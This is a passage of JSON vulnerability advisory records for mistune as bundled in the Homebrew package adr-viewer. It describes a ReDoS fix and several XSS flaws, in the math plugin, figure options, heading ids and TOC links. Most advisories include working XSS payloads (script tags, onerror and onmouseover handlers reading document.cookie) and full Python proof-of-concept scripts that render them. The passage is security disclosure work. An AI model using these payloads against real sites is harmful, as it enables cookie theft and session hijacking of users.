(fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33079"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44708","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-8g87-j6q8-g93x","CVE-2026-44708","PYSEC-2026-2206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune Math Plugin has an XSS Escape Bypass","details":"## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'<span class=\"math\">\\(' + text + r\"\\)</span>\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '<div class=\"math\">$$\\n' + text + \"\\n$$</div>\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"<script>alert(document.cookie)</script>\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$<script>alert(document.cookie)</script>$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n<p><span class=\"math\">\\(<script>alert(document.cookie)</script>\\)</span></p>\n```\n\nThe `<script>` block is live inside the `<span class=\"math\">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$\n```\n\nOutput:\n```html\n<div class=\"math\">$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$</div>\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"<script>alert(document.cookie)</script>\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$<script>alert(document.cookie)</script>$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H1 — Math XSS</title><style>{CSS}</style></head><body>\n<h1>H1 — Math Plugin XSS (escape=True bypass)</h1>\n<p class=\"desc\">render_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.</p>\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44708"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44896","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-58cw-g322-p94v","CVE-2026-44896","PYSEC-2026-168"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune has XSS via unescaped figclass/figwidth in Figure directive","details":"In `src/mistune/directives/image.py`, the `render_figure()` function concatenates `figclass` and `figwidth` options directly into HTML attributes without escaping (lines 152-168).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used, because these values bypass the inline renderer.\n\nOther attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-58cw-g322-p94v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44896"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-168.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44897","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-v87v-83h2-53w7","CVE-2026-44897","PYSEC-2026-2207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune Heading ID Attribute has Injection XSS","details":"## Summary\n`HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -> str:\n    tag = \"h\" + str(level)\n    html = \"<\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += ' id=\"' + _id + '\"'    # ← _id is never escaped\n    return html + \">\" + text + \"</\" + tag + \">\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `&quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, …\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput — ID is auto-generated, no user text appears in it:\n```html\n<h2 id=\"toc_1\">Introduction</h2>\n```\n\n**Step 2 — Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 — Observe attribute breakout in the output**\n\n```python\nex_src = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n<h2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2>\n```\n\nNote: the heading **body text** is correctly escaped (`&quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser (hover the heading to trigger onmouseover)</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body>\n<h1>H2 — Heading ID XSS (unescaped id= attribute)</h1>\n<p class=\"desc\">HTMLRenderer.heading() in renderers/html.py does html += ' id=\"' + _id + '\"' with no escaping.\nTriggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p>\n{case(\"baseline\", \"Clean heading → sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading → quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44897"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44898","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-6269-cqxg-mhhv","CVE-2026-44898","PYSEC-2026-2208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune TOC Anchor Injection XSS","details":"## Summary\n`render_toc_ul()` builds a `<ul>` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#<id>\"`) and the `text` value (used as the visible link label) are inserted into `<a>` tags via a plain Python format string — with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `<script>` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = '<a href=\"#{}\">{}</a>'.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `>`, the `href` attribute is broken. If `text` contains `<`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput — clean, safe TOC:\n```html\n<ul>\n<li><a href=\"#toc_1\">Introduction</a>\n<ul>\n<li><a href=\"#toc_2\">Installation</a></li>\n</ul>\n</li>\n</ul>\n```\n\n**Step 2 — Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `<script>` block followed by a dangling `<a href=\"` to absorb the closing `\">` that `render_toc_ul` appends:\n\n```\n## x\"><script>alert(document.cookie)</script><a href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"><script>alert(document.cookie)</script><a href=\"`.\n\n**Step 4 — Observe script injection in the TOC output**\n\n```python\nex_src = '## x\"><script>alert(document.cookie)</script><a href=\"\\n'\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `<a href>`:\n\n```python\n'<a href=\"#{}\">{}</a>'.format(k, text)\n# becomes:\n'<a href=\"#x\"><script>alert(document.cookie)</script><a href=\"\">...<a/>'\n```\n\nActual output:\n```html\n<ul>\n<li><a href=\"#x\"><script>alert(document.cookie)</script><a href=\"\">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li>\n</ul>\n```\n\nThe `<script>` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into <a href> without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output — safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = '## x\"><script>alert(document.cookie)</script><a href=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output — script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>TOC output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>\n<h1>H4 — TOC render_toc_ul() XSS</h1>\n<p class=\"desc\">render_toc_ul() in toc.py uses '&lt;a href=\"#{{}}\"&gt;{{}}&lt;/a&gt;'.format(k, text) —\nneither k (the heading ID) nor text is escaped before insertion.</p>\n{case(\"baseline\", \"Normal headings → sequential IDs → clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href='#...' → script injected\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC 